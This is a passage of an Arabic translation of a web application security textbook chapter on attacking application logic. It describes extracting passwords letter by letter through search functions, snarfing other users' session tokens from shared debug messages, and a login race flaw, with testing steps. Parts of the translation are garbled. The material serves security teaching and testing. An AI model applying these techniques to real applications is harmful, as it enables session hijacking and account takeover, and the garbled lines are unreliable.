‫ﺍﺳﺘﺤﻮﺍﺫﺷﺮﻛﺔ ﻭﺍﻩ ﻟﻼﺳﺘﺸﺎﺭﺍﺕ ﻋﻠﻰ ﺷﺮﻛﺔ ﺃﻭﺑﺮﻟﻴﺖ ﺍﻟﻤﺤﺪﻭﺩﺓ "ﺑﻴﺎﻥ ﺻﺤﻔﻲ ﺑﺘﺎﺭﻳﺦ ‪"2011-03-08‬‬
‫< < ‪ 0‬ﻣﺒﺎﺭﺍﺓ‬
‫ﻭﺍﻩﺍﻻﺳﺘﺸﺎﺭﻳﺔ "ﺑﻴﺎﻥ ﺻﺤﻔﻲ ‪ "2011-03-08‬ﻧﺺ ﺍﻻﺳﺘﺤﻮﺍﺫ ﻋﻠﻰ ﺷﺮﻛﺔ ﻛﻴﺪﻱ‬
‫< < ‪ 0‬ﻣﺒﺎﺭﺍﺓ‬
‫ﺍﺳﺘﺤﻮﺍﺫﺷﺮﻛﺔ ﻭﺍﻩ ﺍﻻﺳﺘﺸﺎﺭﻳﺔ "ﺑﻴﺎﻥ ﺻﺤﻔﻲ ﺑﺘﺎﺭﻳﺦ ‪"2011-03-08‬‬
‫< < ‪ 1‬ﻣﺒﺎﺭﺍﺓ‬
‫ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ‬ ‫‪424‬‬

‫ﺇﻋﻼﻥﺍﺳﺘﺤﻮﺍﺫ ﺷﺮﻛﺔ ﻭﺍﻩ ﺍﻻﺳﺘﺸﺎﺭﻳﺔ "ﺑﻴﺎﻥ ﺻﺤﻔﻲ ﺑﺘﺎﺭﻳﺦ ‪"2011-03-08‬‬


‫< < ‪ 0‬ﻣﺒﺎﺭﺍﺓ‬
‫ﺇﻟﻐﺎءﻋﻤﻠﻴﺔ ﺍﻻﺳﺘﺤﻮﺍﺫ ﻋﻠﻰ ﺷﺮﻛﺔ ﻭﺍﻩ ﺍﻻﺳﺘﺸﺎﺭﻳﺔ "ﺑﻴﺎﻥ ﺻﺤﻔﻲ ﺑﺘﺎﺭﻳﺦ ‪"2011-03-08‬‬
‫< < ‪ 0‬ﻣﺒﺎﺭﺍﺓ‬
‫ﺗﻢﺍﻻﻧﺘﻬﺎء ﻣﻦ ﻋﻤﻠﻴﺔ ﺍﻻﺳﺘﺤﻮﺍﺫ ﻋﻠﻰ ﺷﺮﻛﺔ ﻭﺍﻩ ﺍﻻﺳﺘﺸﺎﺭﻳﺔ "ﺑﻴﺎﻥ ﺻﺤﻔﻲ ﺑﺘﺎﺭﻳﺦ ‪"2011-03-08‬‬
‫< < ‪ 1‬ﻣﺒﺎﺭﺍﺓ‬

‫ﻋﻠﻰﺍﻟﺮﻏﻢ ﻣﻦ ﺃﻥ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻻ ﻳﺴﺘﻄﻴﻊ ﻋﺮﺽ ﺍﻟﻤﺴﺘﻨﺪ ﻧﻔﺴﻪ‪ ،‬ﺇﻻ ﺃﻧﻪ ﻣﻊ ﻭﺟﻮﺩ ﺧﻴﺎﻝ ﻛﺎﻑ ٍ‬
‫ﻭﺍﺳﺘﺨﺪﺍﻡﺍﻟﻄﻠﺒﺎﺕ ﺍﻟﻨﺼﻴﺔ‪ ،‬ﻗﺪ ﻳﻜﻮﻥ ﻗﺎﺩﺭﺍً ﻋﻠﻰ ﺑﻨﺎء ﻓﻬﻢ ﺩﻗﻴﻖ ﺇﻟﻰ ﺣﺪ ﻣﺎ ﻟﻤﺤﺘﻮﻳﺎﺗﻪ‪.‬‬

‫ﻧﺼﻴﺤﺔﻓﻲ ﻣﻮﺍﻗﻒ ﻣﻌﻴﻨﺔ‪ ،‬ﻗﺪ ﺗﻜﻮﻥ ﺍﻟﻘﺪﺭﺓ ﻋﻠﻰ ﺍﺳﺘﺨﺮﺍﺝ ﺍﻟﻤﻌﻠﻮﻣﺎﺕ ﻋﺒﺮ ﻭﻇﻴﻔﺔ ﺍﻟﺒﺤﺚ ﺑﻬﺬﻩ‬
‫ﺍﻟﻄﺮﻳﻘﺔﺃﻣﺮﺍً ﺑﺎﻟﻎ ﺍﻷﻫﻤﻴﺔ ﻷﻣﻦ ﺍﻟﺘﻄﺒﻴﻖ ﻧﻔﺴﻪ‪ ،‬ﻭﺍﻟﻜﺸﻒ ﺑﺸﻜﻞ ﻓﻌﺎﻝ ﻋﻦ ﺗﻔﺎﺻﻴﻞ ﺍﻟﻮﻇﺎﺉﻒ‬
‫ﺍﻹﺩﺍﺭﻳﺔﻭﻛﻠﻤﺎﺕ ﺍﻟﻤﺮﻭﺭ ﻭﺍﻟﺘﻘﻨﻴﺎﺕ ﺍﻟﻤﺴﺘﺨﺪﻣﺔ‪.‬‬

‫ﻧﺼﻴﺤﺔﺃﺛﺒﺘﺖ ﻫﺬﻩ ﺍﻟﺘﻘﻨﻴﺔ ﻓﻌﺎﻟﻴﺘﻬﺎ ﻓﻲ ﺍﺧﺘﺮﺍﻕ ﺑﺮﺍﻣﺞ ﺇﺩﺍﺭﺓ ﺍﻟﻤﺴﺘﻨﺪﺍﺕ ﺍﻟﺪﺍﺧﻠﻴﺔ‪ .‬ﺍﺳﺘﺨﺪﻡ‬
‫ﺍﻟﺒﺎﺣﺜﻮﻥﻫﺬﻩ ﺍﻟﺘﻘﻨﻴﺔ ﻻﺧﺘﺮﺍﻕ ﻛﻠﻤﺔ ﻣﺮﻭﺭ ﺭﺉﻴﺴﻴﺔ ﺑﺎﺳﺘﺨﺪﺍﻡ ﺍﻟﻘﻮﺓ ﺍﻟﻐﺎﺷﻤﺔ ﻣﻦ ﻣﻠﻒ ﺗﻜﻮﻳﻦ‬
‫ﻣﺨُﺰﻥّﻓﻲ ﻭﻳﻜﻲ‪ .‬ﻭﻷﻥ ﺍﻟﻮﻳﻜﻲ ﻛﺎﻥ ﻳﻈُﻬﺮ ﻧﺘﻴﺠﺔ ًﺇﺫﺍ ﻇﻬﺮﺕ ﺳﻠﺴﻠﺔ ﺍﻟﺒﺤﺚ ﻓﻲ ﺃﻱ ﻣﻜﺎﻥ ﻓﻲ‬
‫ﺍﻟﺼﻔﺤﺔ)ﺑﺪﻻ ًﻣﻦ ﻣﻄﺎﺑﻘﺔ ﺍﻟﻜﻠﻤﺎﺕ ﻛﺎﻣﻠﺔ(ً‪ ،‬ﻛﺎﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺍﺧﺘﺮﺍﻕ ﻛﻠﻤﺔ ﺍﻟﻤﺮﻭﺭ ﺣﺮﻓﺎً ﺣﺮﻓﺎً‪،‬‬
‫ﺑﺎﻟﺒﺤﺚﻋﻦ ﺍﻟﺘﺎﻟﻲ‪:‬‬

‫ﻛﻠﻤﺔﺍﻟﻤﺮﻭﺭ=ﺃ‬
‫ﻛﻠﻤﺔﺍﻟﻤﺮﻭﺭ=ﺏ‬
‫ﻛﻠﻤﺔﺍﻟﻤﺮﻭﺭ=‪BA‬‬
‫‪...‬‬

‫ﺍﻟﻤﺜﺎﻝ‪ :11‬ﺭﺳﺎﺉﻞ ﺍﻟﺘﺼﺤﻴﺢ ‪Snarfing‬‬


‫ﻭﺍﺟﻪﺍﻟﻤﺆﻟﻔﻮﻥ ﻫﺬﺍ ﺍﻟﺨﻠﻞ ﺍﻟﻤﻨﻄﻘﻲ ﻓﻲ ﺗﻄﺒﻴﻖ ﻭﻳﺐ ﺗﺴﺘﺨﺪﻣﻪ ﺇﺣﺪﻯ ﺷﺮﻛﺎﺕ ﺍﻟﺨﺪﻣﺎﺕ ﺍﻟﻤﺎﻟﻴﺔ‪.‬‬

‫ﺍﻟﻮﻇﻴﻔﺔ‬
‫ﺗﻢﻧﺸﺮ ﺍﻟﺘﻄﺒﻴﻖ ﻣﺆﺧﺮﺍً‪ .‬ﻭﻣﺜﻞ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﺒﺮﺍﻣﺞ ﺍﻟﺠﺪﻳﺪﺓ‪ ،‬ﻻ ﻳﺰﺍﻝ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﻋﺪﺩ ﻣﻦ ﺍﻷﺧﻄﺎء‬
‫ﺍﻟﻮﻇﻴﻔﻴﺔ‪.‬ﺑﻴﻦ ﺍﻟﺤﻴﻦ ﻭﺍﻵﺧﺮ‪ ،‬ﺗﻔﺸﻞ ﻋﻤﻠﻴﺎﺕ ﻣﺨﺘﻠﻔﺔ ﺑﺸﻜﻞ ﻏﻴﺮ ﻣﺘﻮﻗﻊ‪ ،‬ﻭﻳﺘﻠﻘﻰ ﺍﻟﻤﺴﺘﺨﺪﻣﻮﻥ‬
‫ﺭﺳﺎﺉﻞﺧﻄﺄ‪.‬‬
‫ﻟﺘﺴﻬﻴﻞﺍﻟﺘﺤﻘﻴﻖ ﻓﻲ ﺍﻷﺧﻄﺎء‪ ،‬ﻗﺮﺭ ﺍﻟﻤﻄﻮﺭﻭﻥ ﺗﻀﻤﻴﻦ ﻣﻌﻠﻮﻣﺎﺕ ﻣﻔﺼﻠﺔ ﻭﻣﻄﻮﻟﺔ ﻓﻲ ﻫﺬﻩ‬
‫ﺍﻟﺮﺳﺎﺉﻞ‪،‬ﺑﻤﺎ ﻓﻲ ﺫﻟﻚ ﺍﻟﺘﻔﺎﺻﻴﻞ ﺍﻟﺘﺎﻟﻴﺔ‪:‬‬
‫ﻫﻮﻳﺔﺍﻟﻤﺴﺘﺨﺪﻡ‬ ‫‪-‬‬

‫ﺍﻟﺮﻣﺰﺍﻟﻤﻤﻴﺰ ﻟﻠﺠﻠﺴﺔ ﺍﻟﺤﺎﻟﻴﺔ‬ ‫‪-‬‬

‫ﻋﻨﻮﺍﻥ‪ URL‬ﺍﻟﺬﻱ ﻳﺘﻢ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻴﻪ‬ ‫‪-‬‬

‫ﺟﻤﻴﻊﺍﻟﻤﻌﻠﻤﺎﺕ ﺍﻟﻤﻘﺪﻣﺔ ﻣﻊ ﺍﻟﻄﻠﺐ ﻭﺍﻟﺘﻲ ﺃﺩﺕ ﺇﻟﻰ ﺣﺪﻭﺙ ﺍﻟﺨﻄﺄ‬ ‫‪-‬‬


‫‪425‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ‬

‫ﺃﺛﺒﺖﺇﻧﺸﺎء ﻫﺬﻩ ﺍﻟﺮﺳﺎﺉﻞ ﻓﺎﺉﺪﺗﻪ ﻋﻨﺪﻣﺎ ﺣﺎﻭﻝ ﻣﻮﻇﻔﻮ ﺧﺪﻣﺔ ﺍﻟﻌﻤﻼء ﺍﻟﺘﺤﻘﻴﻖ ﻓﻲ ﺃﻋﻄﺎﻝ‬
‫ﺍﻟﻨﻈﺎﻡﻭﺍﻟﺘﻌﺎﻓﻲ ﻣﻨﻬﺎ‪ .‬ﻛﻤﺎ ﺳﺎﻋﺪﻭﺍ ﻓﻲ ﺇﺻﻼﺡ ﺍﻷﺧﻄﺎء ﺍﻟﻮﻇﻴﻔﻴﺔ ﺍﻟﻤﺘﺒﻘﻴﺔ‪.‬‬

‫ﺍﻻﻓﺘﺮﺍﺽ‬
‫ﻋﻠﻰﺍﻟﺮﻏﻢ ﻣﻦ ﺍﻟﺘﺤﺬﻳﺮﺍﺕ ﺍﻟﻤﻌﺘﺎﺩﺓ ﻣﻦ ﻣﺴﺘﺸﺎﺭﻱ ﺍﻷﻣﻦ ﻣﻦ ﺍﺣﺘﻤﺎﻝ ﺇﺳﺎءﺓ ﺍﺳﺘﺨﺪﺍﻡ ﺭﺳﺎﺉﻞ‬
‫ﺍﻟﺘﺼﺤﻴﺢﺍﻟﻤﻄُﻮﻟّﺔ ﻣﻦ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻣﻦ ﻗﺒِﻞ ﺍﻟﻤﻬﺎﺟﻤﻴﻦ‪ ،‬ﺍﺳﺘﻨﺘﺞ ﺍﻟﻤﻄﻮﺭﻭﻥ ﺃﻧﻬﻢ ﻟﻢ ﻳﻜُﺘﺸﻔﻮﺍ ﺃﻱ‬
‫ﺛﻐﺮﺓﺃﻣﻨﻴﺔ‪ .‬ﻳﻤﻜﻦ ﻟﻠﻤﺴﺘﺨﺪﻡ ﺍﻟﺤﺼﻮﻝ ﺑﺴﻬﻮﻟﺔ ﻋﻠﻰ ﺟﻤﻴﻊ ﺍﻟﻤﻌﻠﻮﻣﺎﺕ ﺍﻟﻮﺍﺭﺩﺓ ﻓﻲ ﺭﺳﺎﻟﺔ‬
‫ﺍﻟﺘﺼﺤﻴﺢﻣﻦ ﺧﻼﻝ ﻓﺤﺺ ﺍﻟﻄﻠﺒﺎﺕ ﻭﺍﻻﺳﺘﺠﺎﺑﺎﺕ ﺍﻟﺘﻲ ﻳﻌﺎﻟﺠﻬﺎ ﻣﺘﺼﻔﺤﻪ‪ .‬ﻟﻢ ﺗﺘﻀﻤﻦ ﺍﻟﺮﺳﺎﺉﻞ‬
‫ﺃﻱﺗﻔﺎﺻﻴﻞ ﺣﻮﻝ ﺍﻟﻌﻄﻞ ﺍﻟﻔﻌﻠﻲ‪ ،‬ﻣﺜﻞ ﺗﺘﺒﻌﺎﺕ ﺍﻟﻤﻜﺪﺱ‪ ،‬ﻟﺬﺍ ﻣﻦ ﺍﻟﻤﺤُﺘﻤﻞ ﺃﻧﻬﺎ ﻟﻢ ﺗﺴُﺎﻋﺪ ﻓﻲ‬
‫ﺻﻴﺎﻏﺔﻫﺠﻮﻡ ﺿﺪ ﺍﻟﺘﻄﺒﻴﻖ‪.‬‬

‫ﺍﻟﻬﺠﻮﻡ‬
‫ﻭﻋﻠﻰﺍﻟﺮﻏﻢ ﻣﻦ ﺗﻔﻜﻴﺮﻫﻢ ﺑﺸﺄﻥ ﻣﺤﺘﻮﻳﺎﺕ ﺭﺳﺎﺉﻞ ﺍﻟﺘﺼﺤﻴﺢ‪ ،‬ﺇﻻ ﺃﻥ ﺍﻓﺘﺮﺍﺽ ﺍﻟﻤﻄﻮﺭﻳﻦ ﻛﺎﻥ‬
‫ﺧﺎﻃﺉﺎًﺑﺴﺒﺐ ﺍﻷﺧﻄﺎء ﺍﻟﺘﻲ ﺍﺭﺗﻜﺒﻮﻫﺎ ﻓﻲ ﺗﻨﻔﻴﺬ ﺇﻧﺸﺎء ﺭﺳﺎﺉﻞ ﺍﻟﺘﺼﺤﻴﺢ‪.‬‬

‫ﻋﻨﺪﺣﺪﻭﺙ ﺧﻄﺄ‪ ،‬ﻳﺠﻤﻊ ﺃﺣﺪ ﻣﻜﻮﻧﺎﺕ ﺍﻟﺘﻄﺒﻴﻖ ﺟﻤﻴﻊ ﺍﻟﻤﻌﻠﻮﻣﺎﺕ ﺍﻟﻤﻄﻠﻮﺑﺔ ﻭﻳﺨﺰﻧﻬﺎ‪ .‬ﻳﺮُﺳﻞ‬
‫ﻟﻠﻤﺴﺘﺨﺪﻡﺇﻋﺎﺩﺓ ﺗﻮﺟﻴﻪ ‪ HTTP‬ﺇﻟﻰ ﻋﻨﻮﺍﻥ ‪ URL‬ﻳﻌﺮﺽ ﻫﺬﻩ ﺍﻟﻤﻌﻠﻮﻣﺎﺕ ﺍﻟﻤﺨﺰﻧﺔ‪ .‬ﺗﻜﻤﻦ ﺍﻟﻤﺸﻜﻠﺔ‬
‫ﻓﻲﺃﻥ ﺗﺨﺰﻳﻦ ﺍﻟﺘﻄﺒﻴﻖ ﻟﻤﻌﻠﻮﻣﺎﺕ ﺍﻟﺘﺼﺤﻴﺢ‪ ،‬ﻭﻭﺻﻮﻝ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺇﻟﻰ ﺭﺳﺎﻟﺔ ﺍﻟﺨﻄﺄ‪ ،‬ﻟﻢ ﻳﻜﻦ ﻗﺎﺉﻤﺎً‬
‫ﻋﻠﻰﺍﻟﺠﻠﺴﺔ‪ .‬ﺑﻞ ﻛﺎﻧﺖ ﻣﻌﻠﻮﻣﺎﺕ ﺍﻟﺘﺼﺤﻴﺢ ﺗﺨُﺰﻥ ﻓﻲ ﺣﺎﻭﻳﺔ ﺛﺎﺑﺘﺔ‪ ،‬ﻭﻛﺎﻥ ﻋﻨﻮﺍﻥ ‪ URL‬ﻟﺮﺳﺎﻟﺔ‬
‫ﺍﻟﺨﻄﺄﻳﻌﺮﺽ ﺩﺍﺉﻤﺎً ﺁﺧﺮ ﺍﻟﻤﻌﻠﻮﻣﺎﺕ ﺍﻟﺘﻲ ﻭﺿُﻌﺖ ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻭﻳﺔ‪ .‬ﺍﻓﺘﺮﺽ ﺍﻟﻤﻄﻮﺭﻭﻥ ﺃﻥ‬
‫ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦﺍﻟﺬﻳﻦ ﻳﺘﺒﻌﻮﻥ ﺇﻋﺎﺩﺓ ﺍﻟﺘﻮﺟﻴﻪ ﺳﻴﺸﺎﻫﺪﻭﻥ ﻓﻘﻂ ﻣﻌﻠﻮﻣﺎﺕ ﺍﻟﺘﺼﺤﻴﺢ ﺍﻟﻤﺘﻌﻠﻘﺔ‬
‫ﺑﺨﻄﺄﻫﻢ‪.‬‬

‫ﻓﻲﺍﻟﻮﺍﻗﻊ‪ ،‬ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ‪ ،‬ﻗﺪ ﻳﻌُﺮﺽ ﻋﻠﻰ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻟﻌﺎﺩﻳﻴﻦ ﺃﺣﻴﺎﻧﺎً ﻣﻌﻠﻮﻣﺎﺕ ﺗﺼﺤﻴﺢ‬
‫ﺍﻷﺧﻄﺎءﺍﻟﻤﺘﻌﻠﻘﺔ ﺑﺨﻄﺄ ﻣﺴﺘﺨﺪﻡ ﺁﺧﺮ‪ ،‬ﻧﻈﺮﺍً ﻟﻮﻗﻮﻉ ﺍﻟﺨﻄﺄﻳﻦ ﻓﻲ ﻭﻗﺖ ﻭﺍﺣﺪ ﺗﻘﺮﻳﺒﺎً‪ .‬ﻭﻟﻜﻦ ﺑﺼﺮﻑ‬
‫ﺍﻟﻨﻈﺮﻋﻦ ﺍﻟﺘﺴﺎﺅﻻﺕ ﺣﻮﻝ ﺳﻼﻣﺔ ﺳﻼﺳﻞ ﺍﻟﻌﻤﻠﻴﺎﺕ )ﺍﻧﻈﺮ ﺍﻟﻤﺜﺎﻝ ﺍﻟﺘﺎﻟﻲ(‪ ،‬ﻟﻢ ﻳﻜﻦ ﻫﺬﺍ ﻣﺠﺮﺩ ﺣﺎﻟﺔ‬
‫ﺗﺴﺎﺑﻖ‪.‬ﻳﻤﻜﻦ ﻟﻠﻤﻬﺎﺟﻢ ﺍﻟﺬﻱ ﻳﻜﺘﺸﻒ ﺁﻟﻴﺔ ﺍﻟﺨﻄﺄ ﺑﺒﺴﺎﻃﺔ ﺍﺳﺘﻄﻼﻉ ﻋﻨﻮﺍﻥ ‪ URL‬ﻟﻠﺮﺳﺎﻟﺔ ﺑﺸﻜﻞ‬
‫ﻣﺘﻜﺮﺭﻭﺗﺴﺠﻴﻞ ﺍﻟﻨﺘﺎﺉﺞ ﻓﻲ ﻛﻞ ﻣﺮﺓ ﻳﻐﻴﺮ ﻓﻴﻬﺎ‪ .‬ﻋﻠﻰ ﻣﺪﺍﺭ ﺑﻀﻊ ﺳﺎﻋﺎﺕ‪ ،‬ﺳﻴﺤﺘﻮﻱ ﻫﺬﺍ ﺍﻟﺴﺠﻞ‬
‫ﻋﻠﻰﺑﻴﺎﻧﺎﺕ ﺣﺴﺎﺳﺔ ﺣﻮﻝ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﻣﺴﺘﺨﺪﻣﻲ ﺍﻟﺘﻄﺒﻴﻖ‪:‬‬

‫ﻣﺠﻤﻮﻋﺔﻣﻦ ﺃﺳﻤﺎء ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻟﺘﻲ ﻳﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻣﻬﺎ ﻓﻲ ﻫﺠﻮﻡ ﺗﺨﻤﻴﻦ ﻛﻠﻤﺔ ﺍﻟﻤﺮﻭﺭ‬ ‫‪-‬‬

‫ﻣﺠﻤﻮﻋﺔﻣﻦ ﺭﻣﻮﺯ ﺍﻟﺠﻠﺴﺔ ﺍﻟﺘﻲ ﻳﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻣﻬﺎ ﻻﺧﺘﻄﺎﻑ ﺍﻟﺠﻠﺴﺎﺕ‬ ‫‪-‬‬

‫ﻣﺠﻤﻮﻋﺔﻣﻦ ﺍﻟﻤﺪﺧﻼﺕ ﺍﻟﺘﻲ ﻳﻘﺪﻣﻬﺎ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ ،‬ﻭﺍﻟﺘﻲ ﻗﺪ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﻛﻠﻤﺎﺕ ﻣﺮﻭﺭ ﻭﻋﻨﺎﺻﺮ‬ ‫‪-‬‬

‫ﺣﺴﺎﺳﺔﺃﺧﺮﻯ‬

‫ﻟﺬﻟﻚ‪،‬ﺷﻜﻠّﺖ ﺁﻟﻴﺔ ﺍﻟﺨﻄﺄ ﺗﻬﺪﻳﺪﺍً ﺃﻣﻨﻴﺎً ﺧﻄﻴﺮﺍً‪ .‬ﻭﻷﻥ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻹﺩﺍﺭﻳﻴﻦ ﻛﺎﻧﻮﺍ ﻳﺘﻠﻘﻮﻥ ﺃﺣﻴﺎﻧﺎً‬
‫ﺭﺳﺎﺉﻞﺍﻟﺨﻄﺄ ﺍﻟﻤﻔﺼﻠﺔ ﻫﺬﻩ‪،‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ‬ ‫‪426‬‬

‫ﺳﻴﻘﻮﻡﺍﻟﻤﻬﺎﺟﻢ ﺑﻤﺮﺍﻗﺒﺔ ﺭﺳﺎﺉﻞ ﺍﻟﺨﻄﺄ ﻗﺮﻳﺒﺎً ﺑﺎﻟﺤﺼﻮﻝ ﻋﻠﻰ ﻣﻌﻠﻮﻣﺎﺕ ﻛﺎﻓﻴﺔ ﻻﺧﺘﺮﺍﻕ ﺍﻟﺘﻄﺒﻴﻖ‬
‫ﺑﺄﻛﻤﻠﻪ‪.‬‬

‫ﺧﻄﻮﺍﺕﺍﻻﺧﺘﺮﺍﻕ‬

‫‪.1‬ﻟﻠﻜﺸﻒ ﻋﻦ ﺧﻠﻞ ﻣﻦ ﻫﺬﺍ ﺍﻟﻨﻮﻉ‪ ،‬ﻗﻢ ﺃﻭﻻ ًﺑﻔﻬﺮﺳﺔ ﺟﻤﻴﻊ ﺍﻷﺣﺪﺍﺙ ﻭﺍﻟﻈﺮﻭﻑ ﺍﻟﺸﺎﺫﺓ ﺍﻟﺘﻲ ﻳﻤﻜﻦ‬
‫ﺇﻧﺸﺎﺅﻫﺎﻭﺍﻟﺘﻲ ﺗﺘﻀﻤﻦ ﻣﻌﻠﻮﻣﺎﺕ ﻣﺤﺪﺩﺓ ﻭﻣﺜﻴﺮﺓ ﻟﻼﻫﺘﻤﺎﻡ ﻟﻠﻤﺴﺘﺨﺪﻡ ﻳﺘﻢ ﺇﺭﺟﺎﻋﻬﺎ ﺇﻟﻰ‬
‫ﺍﻟﻤﺘﺼﻔﺢﺑﻄﺮﻳﻘﺔ ﻏﻴﺮ ﻋﺎﺩﻳﺔ‪ ،‬ﻣﺜﻞ ﺭﺳﺎﻟﺔ ﺧﻄﺄ ﺍﻟﺘﺼﺤﻴﺢ‪.‬‬

‫‪.2‬ﺍﺳﺘﺨﺪﺍﻡ ﺍﻟﺘﻄﺒﻴﻖ ﻛﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﺛﻨﻴﻦ ﺑﺎﻟﺘﻮﺍﺯﻱ‪ ،‬ﻗﻢ ﺑﺘﺼﻤﻴﻢ ﻛﻞ ﺣﺎﻟﺔ ﺑﺸﻜﻞ ﻣﻨﻬﺠﻲ‬
‫ﺑﺎﺳﺘﺨﺪﺍﻡﺃﺣﺪ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺃﻭ ﻛﻠﻴﻬﻤﺎ‪ ،‬ﻭﺣﺪﺩ ﻣﺎ ﺇﺫﺍ ﻛﺎﻥ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻵﺧﺮ ﻣﺘﺄﺛﺮﺍً ﻓﻲ ﻛﻞ‬
‫ﺣﺎﻟﺔ‪.‬‬

‫ﺍﻟﻤﺜﺎﻝ‪ :12‬ﺍﻟﺴﺒﺎﻕ ﺿﺪ ﺗﺴﺠﻴﻞ ﺍﻟﺪﺧﻮﻝ‬


‫ﻟﻘﺪﺃﺛﺮ ﻫﺬﺍ ﺍﻟﺨﻠﻞ ﺍﻟﻤﻨﻄﻘﻲ ﻋﻠﻰ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﺮﺉﻴﺴﻴﺔ ﻓﻲ ﺍﻟﻤﺎﺿﻲ ﺍﻟﻘﺮﻳﺐ‪.‬‬

‫ﺍﻟﻮﻇﻴﻔﺔ‬
‫ﻧﻔﺬﺍﻟﺘﻄﺒﻴﻖ ﻋﻤﻠﻴﺔ ﺗﺴﺠﻴﻞ ﺩﺧﻮﻝ ﻗﻮﻳﺔ ﻭﻣﺘﻌﺪﺩﺓ ﺍﻟﻤﺮﺍﺣﻞ ﺣﻴﺚ ﻛﺎﻥ ﻣﻄﻠﻮﺑﺎً ﻣﻦ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‬
‫ﺗﻘﺪﻳﻢﻋﺪﺓ ﺑﻴﺎﻧﺎﺕ ﺍﻋﺘﻤﺎﺩ ﻣﺨﺘﻠﻔﺔ ﻟﻠﺤﺼﻮﻝ ﻋﻠﻰ ﺣﻖ ﺍﻟﻮﺻﻮﻝ‪.‬‬

‫ﺍﻻﻓﺘﺮﺍﺽ‬
‫ﺧﻀﻌﺖﺁﻟﻴﺔ ﺍﻟﻤﺼﺎﺩﻗﺔ ﻟﻤﺮﺍﺟﻌﺎﺕ ﺗﺼﻤﻴﻤﻴﺔ ﻭﺍﺧﺘﺒﺎﺭﺍﺕ ﺍﺧﺘﺮﺍﻕ ﻋﺪﻳﺪﺓ‪ .‬ﻭﻛﺎﻥ ﺍﻟﻤﺎﻟﻜﻮﻥ ﻋﻠﻰ ﺛﻘﺔ‬
‫ﻣﻦﻋﺪﻡ ﻭﺟﻮﺩ ﺃﻱ ﻭﺳﻴﻠﺔ ﻣﺠﺪﻳﺔ ﻟﻤﻬﺎﺟﻤﺔ ﺍﻵﻟﻴﺔ ﻟﻠﺤﺼﻮﻝ ﻋﻠﻰ ﻭﺻﻮﻝ ﻏﻴﺮ ﻣﺼﺮﺡ ﺑﻪ‪.‬‬

‫ﺍﻟﻬﺠﻮﻡ‬
‫ﻓﻲﺍﻟﻮﺍﻗﻊ‪ ،‬ﺍﺣﺘﻮﺕ ﺁﻟﻴﺔ ﺍﻟﻤﺼﺎﺩﻗﺔ ﻋﻠﻰ ﺧﻠﻞ ﺧﻔﻲ‪ .‬ﻓﻔﻲ ﺑﻌﺾ ﺍﻷﺣﻴﺎﻥ‪ ،‬ﻋﻨﺪ ﺗﺴﺠﻴﻞ ﺩﺧﻮﻝ ﺃﺣﺪ‬
‫ﺍﻟﻌﻤﻼء‪،‬ﻛﺎﻥ ﻳﺤﺼﻞ ﻋﻠﻰ ﺇﻣﻜﺎﻧﻴﺔ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﺣﺴﺎﺏ ﻣﺴﺘﺨﺪﻡ ﻣﺨﺘﻠﻒ ﺗﻤﺎﻣﺎً‪ ،‬ﻣﻤﺎ ﻳﻤُﻜﻨّﻪ ﻣﻦ‬
‫ﺍﻻﻃﻼﻉﻋﻠﻰ ﺟﻤﻴﻊ ﺗﻔﺎﺻﻴﻠﻪ ﺍﻟﻤﺎﻟﻴﺔ‪ ،‬ﺑﻞ ﻭﺣﺘﻰ ﺇﺟﺮﺍء ﻣﺪﻓﻮﻋﺎﺕ ﻣﻦ ﺣﺴﺎﺏ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻵﺧﺮ‪ .‬ﺑﺪﺍ‬
‫ﺳﻠﻮﻙﺍﻟﺘﻄﺒﻴﻖ ﻓﻲ ﺍﻟﺒﺪﺍﻳﺔ ﻋﺸﻮﺍﺉﻴﺎً‪ :‬ﻟﻢ ﻳﻘﻢ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺑﺄﻱ ﺇﺟﺮﺍء ﻏﻴﺮ ﺍﻋﺘﻴﺎﺩﻱ ﻟﻠﻮﺻﻮﻝ ﻏﻴﺮ‬
‫ﺍﻟﻤﺼﺮﺡﺑﻪ‪ ،‬ﻭﻟﻢ ﻳﺘﻜﺮﺭ ﻫﺬﺍ ﺍﻟﺨﻠﻞ ﻓﻲ ﻋﻤﻠﻴﺎﺕ ﺗﺴﺠﻴﻞ ﺍﻟﺪﺧﻮﻝ ﺍﻟﻼﺣﻘﺔ‪.‬‬

